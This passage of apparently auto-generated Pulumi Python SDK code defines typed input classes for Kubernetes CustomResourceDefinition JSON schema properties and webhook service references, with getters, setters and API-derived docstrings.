@pulumi.getter def x_kubernetes_preserve_unknown_fields(self) -> Optional[pulumi.Input[bool]]: """ x-kubernetes-preserve-unknown-fields stops the API server decoding step from pruning fields which are not specified in the validation schema. This affects fields recursively, but switches back to normal pruning behaviour if nested properties or additionalProperties are specified in the schema. This can either be true or undefined. False is forbidden. """ return pulumi.get(self, "x_kubernetes_preserve_unknown_fields") @x_kubernetes_preserve_unknown_fields.setter def x_kubernetes_preserve_unknown_fields(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "x_kubernetes_preserve_unknown_fields", value) @property @pulumi.getter def x_kubernetes_validations(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ValidationRulePatchArgs']]]]: """ x-kubernetes-validations describes a list of validation rules written in the CEL expression language. This field is an alpha-level. Using this field requires the feature gate `CustomResourceValidationExpressions` to be enabled. """ return pulumi.get(self, "x_kubernetes_validations") @x_kubernetes_validations.setter def x_kubernetes_validations(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ValidationRulePatchArgs']]]]): pulumi.set(self, "x_kubernetes_validations", value) @pulumi.input_type class JSONSchemaPropsArgs: def __init__(__self__, *, _ref: Optional[pulumi.Input[str]] = None, _schema: Optional[pulumi.Input[str]] = None, additional_items: Optional[pulumi.Input[Union['JSONSchemaPropsArgs', bool]]] = None, additional_properties: Optional[pulumi.Input[Union['JSONSchemaPropsArgs', bool]]] = None, all_of: Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsArgs']]]] = None, any_of: Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsArgs']]]] = None, default: Optional[Any] = None, definitions: Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]] = None, dependencies: Optional[pulumi.Input[Mapping[str, pulumi.Input[Union['JSONSchemaPropsArgs', Sequence[pulumi.Input[str]]]]]]] = None, description: Optional[pulumi.Input[str]] = None, enum: Optional[pulumi.Input[Sequence[Any]]] = None, example: Optional[Any] = None, exclusive_maximum: Optional[pulumi.Input[bool]] = None, exclusive_minimum: Optional[pulumi.Input[bool]] = None, external_docs: Optional[pulumi.Input['ExternalDocumentationArgs']] = None, format: Optional[pulumi.Input[str]] = None, id: Optional[pulumi.Input[str]] = None, items: Optional[pulumi.Input[Union['JSONSchemaPropsArgs', Sequence[Any]]]] = None, max_items: Optional[pulumi.Input[int]] = None, max_length: Optional[pulumi.Input[int]] = None, max_properties: Optional[pulumi.Input[int]] = None, maximum: Optional[pulumi.Input[float]] = None, min_items: Optional[pulumi.Input[int]] = None, min_length: Optional[pulumi.Input[int]] = None, min_properties: Optional[pulumi.Input[int]] = None, minimum: Optional[pulumi.Input[float]] = None, multiple_of: Optional[pulumi.Input[float]] = None, not_: Optional[pulumi.Input['JSONSchemaPropsArgs']] = None, nullable: Optional[pulumi.Input[bool]] = None, one_of: Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsArgs']]]] = None, pattern: Optional[pulumi.Input[str]] = None, pattern_properties: Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]] = None, properties: Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]] = None, required: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, title: Optional[pulumi.Input[str]] = None, type: Optional[pulumi.Input[str]] = None, unique_items: Optional[pulumi.Input[bool]] = None, x_kubernetes_embedded_resource: Optional[pulumi.Input[bool]] = None, x_kubernetes_int_or_string: Optional[pulumi.Input[bool]] = None, x_kubernetes_list_map_keys: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, x_kubernetes_list_type: Optional[pulumi.Input[str]] = None, x_kubernetes_map_type: Optional[pulumi.Input[str]] = None, x_kubernetes_preserve_unknown_fields: Optional[pulumi.Input[bool]] = None, x_kubernetes_validations: Optional[pulumi.Input[Sequence[pulumi.Input['ValidationRuleArgs']]]] = None): """ JSONSchemaProps is a JSON-Schema following Specification Draft 4 (http://json-schema.org/). :param Any default: default is a default value for undefined object fields. Defaulting is a beta feature under the CustomResourceDefaulting feature gate. Defaulting requires spec.preserveUnknownFields to be false. :param pulumi.Input[str] format: format is an OpenAPI v3 format string. Unknown formats are ignored. The following formats are validated: - bsonobjectid: a bson object ID, i.e. a 24 characters hex string - uri: an URI as parsed by Golang net/url.ParseRequestURI - email: an email address as parsed by Golang net/mail.ParseAddress - hostname: a valid representation for an Internet host name, as defined by RFC 1034, section 3.1 [RFC1034]. - ipv4: an IPv4 IP as parsed by Golang net.ParseIP - ipv6: an IPv6 IP as parsed by Golang net.ParseIP - cidr: a CIDR as parsed by Golang net.ParseCIDR - mac: a MAC address as parsed by Golang net.ParseMAC - uuid: an UUID that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?[0-9a-f]{4}-?[0-9a-f]{4}-?[0-9a-f]{12}$ - uuid3: an UUID3 that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?3[0-9a-f]{3}-?[0-9a-f]{4}-?[0-9a-f]{12}$ - uuid4: an UUID4 that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?4[0-9a-f]{3}-?[89ab][0-9a-f]{3}-?[0-9a-f]{12}$ - uuid5: an UUID5 that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?5[0-9a-f]{3}-?[89ab][0-9a-f]{3}-?[0-9a-f]{12}$ - isbn: an ISBN10 or ISBN13 number string like "0321751043" or "978-0321751041" - isbn10: an ISBN10 number string like "0321751043" - isbn13: an ISBN13 number string like "978-0321751041" - creditcard: a credit card number defined by the regex ^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\\d{3})\\d{11})$ with any non digit characters mixed in - ssn: a U.S. social security number following the regex ^\\d{3}[- ]?\\d{2}[- ]?\\d{4}$ - hexcolor: an hexadecimal color code like "#FFFFFF: following the regex ^#?([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$ - rgbcolor: an RGB color code like rgb like "rgb(255,255,2559" - byte: base64 encoded binary data - password: any kind of string - date: a date string like "2006-01-02" as defined by full-date in RFC3339 - duration: a duration string like "22 ns" as parsed by Golang time.ParseDuration or compatible with Scala duration format - datetime: a date time string like "2014-12-15T19:30:20.000Z" as defined by date-time in RFC3339. :param pulumi.Input[bool] x_kubernetes_embedded_resource: x-kubernetes-embedded-resource defines that the value is an embedded Kubernetes runtime.Object, with TypeMeta and ObjectMeta. The type must be object. It is allowed to further restrict the embedded object. kind, apiVersion and metadata are validated automatically. x-kubernetes-preserve-unknown-fields is allowed to be true, but does not have to be if the object is fully specified (up to kind, apiVersion, metadata). :param pulumi.Input[bool] x_kubernetes_int_or_string: x-kubernetes-int-or-string specifies that this value is either an integer or a string. If this is true, an empty type is allowed and type as child of anyOf is permitted if following one of the following patterns: 1) anyOf: - type: integer - type: string 2) allOf: - anyOf: - type: integer - type: string - ... zero or more :param pulumi.Input[Sequence[pulumi.Input[str]]] x_kubernetes_list_map_keys: x-kubernetes-list-map-keys annotates an array with the x-kubernetes-list-type `map` by specifying the keys used as the index of the map. This tag MUST only be used on lists that have the "x-kubernetes-list-type" extension set to "map". Also, the values specified for this attribute must be a scalar typed field of the child structure (no nesting is supported). The properties specified must either be required or have a default value, to ensure those properties are present for all list items. :param pulumi.Input[str] x_kubernetes_list_type: x-kubernetes-list-type annotates an array to further describe its topology. This extension must only be used on lists and may have 3 possible values: 1) `atomic`: the list is treated as a single entity, like a scalar. Atomic lists will be entirely replaced when updated. This extension may be used on any type of list (struct, scalar, ...). 2) `set`: Sets are lists that must not have multiple items with the same value. Each value must be a scalar, an object with x-kubernetes-map-type `atomic` or an array with x-kubernetes-list-type `atomic`. 3) `map`: These lists are like maps in that their elements have a non-index key used to identify them. Order is preserved upon merge. The map tag must only be used on a list with elements of type object. Defaults to atomic for arrays. :param pulumi.Input[str] x_kubernetes_map_type: x-kubernetes-map-type annotates an object to further describe its topology. This extension must only be used when type is object and may have 2 possible values: 1) `granular`: These maps are actual maps (key-value pairs) and each fields are independent from each other (they can each be manipulated by separate actors). This is the default behaviour for all maps. 2) `atomic`: the list is treated as a single entity, like a scalar. Atomic maps will be entirely replaced when updated. :param pulumi.Input[bool] x_kubernetes_preserve_unknown_fields: x-kubernetes-preserve-unknown-fields stops the API server decoding step from pruning fields which are not specified in the validation schema. This affects fields recursively, but switches back to normal pruning behaviour if nested properties or additionalProperties are specified in the schema. This can either be true or undefined. False is forbidden. :param pulumi.Input[Sequence[pulumi.Input['ValidationRuleArgs']]] x_kubernetes_validations: x-kubernetes-validations describes a list of validation rules written in the CEL expression language. This field is an alpha-level. Using this field requires the feature gate `CustomResourceValidationExpressions` to be enabled. """ if _ref is not None: pulumi.set(__self__, "_ref", _ref) if _schema is not None: pulumi.set(__self__, "_schema", _schema) if additional_items is not None: pulumi.set(__self__, "additional_items", additional_items) if additional_properties is not None: pulumi.set(__self__, "additional_properties", additional_properties) if all_of is not None: pulumi.set(__self__, "all_of", all_of) if any_of is not None: pulumi.set(__self__, "any_of", any_of) if default is not None: pulumi.set(__self__, "default", default) if definitions is not None: pulumi.set(__self__, "definitions", definitions) if dependencies is not None: pulumi.set(__self__, "dependencies", dependencies) if description is not None: pulumi.set(__self__, "description", description) if enum is not None: pulumi.set(__self__, "enum", enum) if example is not None: pulumi.set(__self__, "example", example) if exclusive_maximum is not None: pulumi.set(__self__, "exclusive_maximum", exclusive_maximum) if exclusive_minimum is not None: pulumi.set(__self__, "exclusive_minimum", exclusive_minimum) if external_docs is not None: pulumi.set(__self__, "external_docs", external_docs) if format is not None: pulumi.set(__self__, "format", format) if id is not None: pulumi.set(__self__, "id", id) if items is not None: pulumi.set(__self__, "items", items) if max_items is not None: pulumi.set(__self__, "max_items", max_items) if max_length is not None: pulumi.set(__self__, "max_length", max_length) if max_properties is not None: pulumi.set(__self__, "max_properties", max_properties) if maximum is not None: pulumi.set(__self__, "maximum", maximum) if min_items is not None: pulumi.set(__self__, "min_items", min_items) if min_length is not None: pulumi.set(__self__, "min_length", min_length) if min_properties is not None: pulumi.set(__self__, "min_properties", min_properties) if minimum is not None: pulumi.set(__self__, "minimum", minimum) if multiple_of is not None: pulumi.set(__self__, "multiple_of", multiple_of) if not_ is not None: pulumi.set(__self__, "not_", not_) if nullable is not None: pulumi.set(__self__, "nullable", nullable) if one_of is not None: pulumi.set(__self__, "one_of", one_of) if pattern is not None: pulumi.set(__self__, "pattern", pattern) if pattern_properties is not None: pulumi.set(__self__, "pattern_properties", pattern_properties) if properties is not None: pulumi.set(__self__, "properties", properties) if required is not None: pulumi.set(__self__, "required", required) if title is not None: pulumi.set(__self__, "title", title) if type is not None: pulumi.set(__self__, "type", type) if unique_items is not None: pulumi.set(__self__, "unique_items", unique_items) if x_kubernetes_embedded_resource is not None: pulumi.set(__self__, "x_kubernetes_embedded_resource", x_kubernetes_embedded_resource) if x_kubernetes_int_or_string is not None: pulumi.set(__self__, "x_kubernetes_int_or_string", x_kubernetes_int_or_string) if x_kubernetes_list_map_keys is not None: pulumi.set(__self__, "x_kubernetes_list_map_keys", x_kubernetes_list_map_keys) if x_kubernetes_list_type is not None: pulumi.set(__self__, "x_kubernetes_list_type", x_kubernetes_list_type) if x_kubernetes_map_type is not None: pulumi.set(__self__, "x_kubernetes_map_type", x_kubernetes_map_type) if x_kubernetes_preserve_unknown_fields is not None: pulumi.set(__self__, "x_kubernetes_preserve_unknown_fields", x_kubernetes_preserve_unknown_fields) if x_kubernetes_validations is not None: pulumi.set(__self__, "x_kubernetes_validations", x_kubernetes_validations) @property @pulumi.getter(name="$ref") def _ref(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "_ref") @_ref.setter def _ref(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "_ref", value) @property @pulumi.getter(name="$schema") def _schema(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "_schema") @_schema.setter def _schema(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "_schema", value) @property @pulumi.getter(name="additionalItems") def additional_items(self) -> Optional[pulumi.Input[Union['JSONSchemaPropsArgs', bool]]]: return pulumi.get(self, "additional_items") @additional_items.setter def additional_items(self, value: Optional[pulumi.Input[Union['JSONSchemaPropsArgs', bool]]]): pulumi.set(self, "additional_items", value) @property @pulumi.getter(name="additionalProperties") def additional_properties(self) -> Optional[pulumi.Input[Union['JSONSchemaPropsArgs', bool]]]: return pulumi.get(self, "additional_properties") @additional_properties.setter def additional_properties(self, value: Optional[pulumi.Input[Union['JSONSchemaPropsArgs', bool]]]): pulumi.set(self, "additional_properties", value) @property @pulumi.getter(name="allOf") def all_of(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsArgs']]]]: return pulumi.get(self, "all_of") @all_of.setter def all_of(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsArgs']]]]): pulumi.set(self, "all_of", value) @property @pulumi.getter(name="anyOf") def any_of(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsArgs']]]]: return pulumi.get(self, "any_of") @any_of.setter def any_of(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsArgs']]]]): pulumi.set(self, "any_of", value) @property @pulumi.getter def default(self) -> Optional[Any]: """ default is a default value for undefined object fields. Defaulting is a beta feature under the CustomResourceDefaulting feature gate. Defaulting requires spec.preserveUnknownFields to be false. """ return pulumi.get(self, "default") @default.setter def default(self, value: Optional[Any]): pulumi.set(self, "default", value) @property @pulumi.getter def definitions(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]]: return pulumi.get(self, "definitions") @definitions.setter def definitions(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]]): pulumi.set(self, "definitions", value) @property @pulumi.getter def dependencies(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[Union['JSONSchemaPropsArgs', Sequence[pulumi.Input[str]]]]]]]: return pulumi.get(self, "dependencies") @dependencies.setter def dependencies(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[Union['JSONSchemaPropsArgs', Sequence[pulumi.Input[str]]]]]]]): pulumi.set(self, "dependencies", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter def enum(self) -> Optional[pulumi.Input[Sequence[Any]]]: return pulumi.get(self, "enum") @enum.setter def enum(self, value: Optional[pulumi.Input[Sequence[Any]]]): pulumi.set(self, "enum", value) @property @pulumi.getter def example(self) -> Optional[Any]: return pulumi.get(self, "example") @example.setter def example(self, value: Optional[Any]): pulumi.set(self, "example", value) @property @pulumi.getter(name="exclusiveMaximum") def exclusive_maximum(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "exclusive_maximum") @exclusive_maximum.setter def exclusive_maximum(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "exclusive_maximum", value) @property @pulumi.getter(name="exclusiveMinimum") def exclusive_minimum(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "exclusive_minimum") @exclusive_minimum.setter def exclusive_minimum(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "exclusive_minimum", value) @property @pulumi.getter(name="externalDocs") def external_docs(self) -> Optional[pulumi.Input['ExternalDocumentationArgs']]: return pulumi.get(self, "external_docs") @external_docs.setter def external_docs(self, value: Optional[pulumi.Input['ExternalDocumentationArgs']]): pulumi.set(self, "external_docs", value) @property @pulumi.getter def format(self) -> Optional[pulumi.Input[str]]: """ format is an OpenAPI v3 format string. Unknown formats are ignored. The following formats are validated: - bsonobjectid: a bson object ID, i.e. a 24 characters hex string - uri: an URI as parsed by Golang net/url.ParseRequestURI - email: an email address as parsed by Golang net/mail.ParseAddress - hostname: a valid representation for an Internet host name, as defined by RFC 1034, section 3.1 [RFC1034]. - ipv4: an IPv4 IP as parsed by Golang net.ParseIP - ipv6: an IPv6 IP as parsed by Golang net.ParseIP - cidr: a CIDR as parsed by Golang net.ParseCIDR - mac: a MAC address as parsed by Golang net.ParseMAC - uuid: an UUID that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?[0-9a-f]{4}-?[0-9a-f]{4}-?[0-9a-f]{12}$ - uuid3: an UUID3 that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?3[0-9a-f]{3}-?[0-9a-f]{4}-?[0-9a-f]{12}$ - uuid4: an UUID4 that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?4[0-9a-f]{3}-?[89ab][0-9a-f]{3}-?[0-9a-f]{12}$ - uuid5: an UUID5 that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?5[0-9a-f]{3}-?[89ab][0-9a-f]{3}-?[0-9a-f]{12}$ - isbn: an ISBN10 or ISBN13 number string like "0321751043" or "978-0321751041" - isbn10: an ISBN10 number string like "0321751043" - isbn13: an ISBN13 number string like "978-0321751041" - creditcard: a credit card number defined by the regex ^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\\d{3})\\d{11})$ with any non digit characters mixed in - ssn: a U.S. social security number following the regex ^\\d{3}[- ]?\\d{2}[- ]?\\d{4}$ - hexcolor: an hexadecimal color code like "#FFFFFF: following the regex ^#?([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$ - rgbcolor: an RGB color code like rgb like "rgb(255,255,2559" - byte: base64 encoded binary data - password: any kind of string - date: a date string like "2006-01-02" as defined by full-date in RFC3339 - duration: a duration string like "22 ns" as parsed by Golang time.ParseDuration or compatible with Scala duration format - datetime: a date time string like "2014-12-15T19:30:20.000Z" as defined by date-time in RFC3339. """ return pulumi.get(self, "format") @format.setter def format(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "format", value) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Union['JSONSchemaPropsArgs', Sequence[Any]]]]: return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Union['JSONSchemaPropsArgs', Sequence[Any]]]]): pulumi.set(self, "items", value) @property @pulumi.getter(name="maxItems") def max_items(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "max_items") @max_items.setter def max_items(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "max_items", value) @property @pulumi.getter(name="maxLength") def max_length(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "max_length") @max_length.setter def max_length(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "max_length", value) @property @pulumi.getter(name="maxProperties") def max_properties(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "max_properties") @max_properties.setter def max_properties(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "max_properties", value) @property @pulumi.getter def maximum(self) -> Optional[pulumi.Input[float]]: return pulumi.get(self, "maximum") @maximum.setter def maximum(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "maximum", value) @property @pulumi.getter(name="minItems") def min_items(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "min_items") @min_items.setter def min_items(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "min_items", value) @property @pulumi.getter(name="minLength") def min_length(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "min_length") @min_length.setter def min_length(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "min_length", value) @property @pulumi.getter(name="minProperties") def min_properties(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "min_properties") @min_properties.setter def min_properties(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "min_properties", value) @property @pulumi.getter def minimum(self) -> Optional[pulumi.Input[float]]: return pulumi.get(self, "minimum") @minimum.setter def minimum(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "minimum", value) @property @pulumi.getter(name="multipleOf") def multiple_of(self) -> Optional[pulumi.Input[float]]: return pulumi.get(self, "multiple_of") @multiple_of.setter def multiple_of(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "multiple_of", value) @property @pulumi.getter(name="not") def not_(self) -> Optional[pulumi.Input['JSONSchemaPropsArgs']]: return pulumi.get(self, "not_") @not_.setter def not_(self, value: Optional[pulumi.Input['JSONSchemaPropsArgs']]): pulumi.set(self, "not_", value) @property @pulumi.getter def nullable(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "nullable") @nullable.setter def nullable(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "nullable", value) @property @pulumi.getter(name="oneOf") def one_of(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsArgs']]]]: return pulumi.get(self, "one_of") @one_of.setter def one_of(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsArgs']]]]): pulumi.set(self, "one_of", value) @property @pulumi.getter def pattern(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "pattern") @pattern.setter def pattern(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "pattern", value) @property @pulumi.getter(name="patternProperties") def pattern_properties(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]]: return pulumi.get(self, "pattern_properties") @pattern_properties.setter def pattern_properties(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]]): pulumi.set(self, "pattern_properties", value) @property @pulumi.getter def properties(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]]: return pulumi.get(self, "properties") @properties.setter def properties(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]]): pulumi.set(self, "properties", value) @property @pulumi.getter def required(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: return pulumi.get(self, "required") @required.setter def required(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "required", value) @property @pulumi.getter def title(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "title") @title.setter def title(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "title", value) @property @pulumi.getter def type(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "type", value) @property @pulumi.getter(name="uniqueItems") def unique_items(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "unique_items") @unique_items.setter def unique_items(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "unique_items", value) @property @pulumi.getter def x_kubernetes_embedded_resource(self) -> Optional[pulumi.Input[bool]]: """ x-kubernetes-embedded-resource defines that the value is an embedded Kubernetes runtime.Object, with TypeMeta and ObjectMeta. The type must be object. It is allowed to further restrict the embedded object. kind, apiVersion and metadata are validated automatically. x-kubernetes-preserve-unknown-fields is allowed to be true, but does not have to be if the object is fully specified (up to kind, apiVersion, metadata). """ return pulumi.get(self, "x_kubernetes_embedded_resource") @x_kubernetes_embedded_resource.setter def x_kubernetes_embedded_resource(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "x_kubernetes_embedded_resource", value) @property @pulumi.getter def x_kubernetes_int_or_string(self) -> Optional[pulumi.Input[bool]]: """ x-kubernetes-int-or-string specifies that this value is either an integer or a string. If this is true, an empty type is allowed and type as child of anyOf is permitted if following one of the following patterns: 1) anyOf: - type: integer - type: string 2) allOf: - anyOf: - type: integer - type: string - ... zero or more """ return pulumi.get(self, "x_kubernetes_int_or_string") @x_kubernetes_int_or_string.setter def x_kubernetes_int_or_string(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "x_kubernetes_int_or_string", value) @property @pulumi.getter def x_kubernetes_list_map_keys(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ x-kubernetes-list-map-keys annotates an array with the x-kubernetes-list-type `map` by specifying the keys used as the index of the map. This tag MUST only be used on lists that have the "x-kubernetes-list-type" extension set to "map". Also, the values specified for this attribute must be a scalar typed field of the child structure (no nesting is supported). The properties specified must either be required or have a default value, to ensure those properties are present for all list items. """ return pulumi.get(self, "x_kubernetes_list_map_keys") @x_kubernetes_list_map_keys.setter def x_kubernetes_list_map_keys(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "x_kubernetes_list_map_keys", value) @property @pulumi.getter def x_kubernetes_list_type(self) -> Optional[pulumi.Input[str]]: """ x-kubernetes-list-type annotates an array to further describe its topology. This extension must only be used on lists and may have 3 possible values: 1) `atomic`: the list is treated as a single entity, like a scalar. Atomic lists will be entirely replaced when updated. This extension may be used on any type of list (struct, scalar, ...). 2) `set`: Sets are lists that must not have multiple items with the same value. Each value must be a scalar, an object with x-kubernetes-map-type `atomic` or an array with x-kubernetes-list-type `atomic`. 3) `map`: These lists are like maps in that their elements have a non-index key used to identify them. Order is preserved upon merge. The map tag must only be used on a list with elements of type object. Defaults to atomic for arrays. """ return pulumi.get(self, "x_kubernetes_list_type") @x_kubernetes_list_type.setter def x_kubernetes_list_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "x_kubernetes_list_type", value) @property @pulumi.getter def x_kubernetes_map_type(self) -> Optional[pulumi.Input[str]]: """ x-kubernetes-map-type annotates an object to further describe its topology. This extension must only be used when type is object and may have 2 possible values: 1) `granular`: These maps are actual maps (key-value pairs) and each fields are independent from each other (they can each be manipulated by separate actors). This is the default behaviour for all maps. 2) `atomic`: the list is treated as a single entity, like a scalar. Atomic maps will be entirely replaced when updated. """ return pulumi.get(self, "x_kubernetes_map_type") @x_kubernetes_map_type.setter def x_kubernetes_map_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "x_kubernetes_map_type", value) @property @pulumi.getter def x_kubernetes_preserve_unknown_fields(self) -> Optional[pulumi.Input[bool]]: """ x-kubernetes-preserve-unknown-fields stops the API server decoding step from pruning fields which are not specified in the validation schema. This affects fields recursively, but switches back to normal pruning behaviour if nested properties or additionalProperties are specified in the schema. This can either be true or undefined. False is forbidden. """ return pulumi.get(self, "x_kubernetes_preserve_unknown_fields") @x_kubernetes_preserve_unknown_fields.setter def x_kubernetes_preserve_unknown_fields(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "x_kubernetes_preserve_unknown_fields", value) @property @pulumi.getter def x_kubernetes_validations(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ValidationRuleArgs']]]]: """ x-kubernetes-validations describes a list of validation rules written in the CEL expression language. This field is an alpha-level. Using this field requires the feature gate `CustomResourceValidationExpressions` to be enabled. """ return pulumi.get(self, "x_kubernetes_validations") @x_kubernetes_validations.setter def x_kubernetes_validations(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ValidationRuleArgs']]]]): pulumi.set(self, "x_kubernetes_validations", value) @pulumi.input_type class ServiceReferencePatchArgs: def __init__(__self__, *, name: Optional[pulumi.Input[str]] = None, namespace: Optional[pulumi.Input[str]] = None, path: Optional[pulumi.Input[str]] = None, port: Optional[pulumi.Input[int]] = None): """ ServiceReference holds a reference to Service.legacy.k8s.io :param pulumi.Input[str] name: name is the name of the service. Required :param pulumi.Input[str] namespace: namespace is the namespace of the service. Required :param pulumi.Input[str] path: path is an optional URL path at which the webhook will be contacted. :param pulumi.Input[int] port: port is an optional service port at which the webhook will be contacted. `port` should be a valid port number (1-65535, inclusive). Defaults to 443 for backward compatibility. """ if name is not None: pulumi.set(__self__, "name", name) if namespace is not None: pulumi.set(__self__, "namespace", namespace) if path is not None: pulumi.set(__self__, "path", path) if port is not None: pulumi.set(__self__, "port", port) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ name is the name of the service. Required """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def namespace(self) -> Optional[pulumi.Input[str]]: """ namespace is the namespace of the service. Required """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "namespace", value) @property @pulumi.getter def path(self) -> Optional[pulumi.Input[str]]: """ path is an optional URL path at which the webhook will be contacted. """ return pulumi.get(self, "path") @path.setter def path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "path", value) @property @pulumi.getter def port(self) -> Optional[pulumi.Input[int]]: """ port is an optional service port at which the webhook will be contacted. `port` should be a valid port number (1-65535, inclusive). Defaults to 443 for backward compatibility. """ return pulumi.get(self, "port") @port.setter def port(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "port", value) @pulumi.input_type class ServiceReferenceArgs: def __init__(__self__, *, name: pulumi.Input[str], namespace: pulumi.Input[str], path: Optional[pulumi.Input[str]] = None, port: Optional[pulumi.Input[int]] = None): """ ServiceReference holds a reference to Service.legacy.k8s.io :param pulumi.Input[str] name: name is the name of the service. Required :param pulumi.Input[str] namespace: namespace is the namespace of the service. Required :param pulumi.Input[str] path: path is an optional URL path at which the webhook will be contacted. :param pulumi.Input[int] port: port is an optional service port at which the webhook will be contacted. `port` should be a valid port number (1-65535, inclusive). Defaults to 443 for backward compatibility. """ pulumi.set(__self__, "name", name) pulumi.set(__self__, "namespace", namespace) if path is not None: pulumi.set(__self__, "path", path) if port is not None: 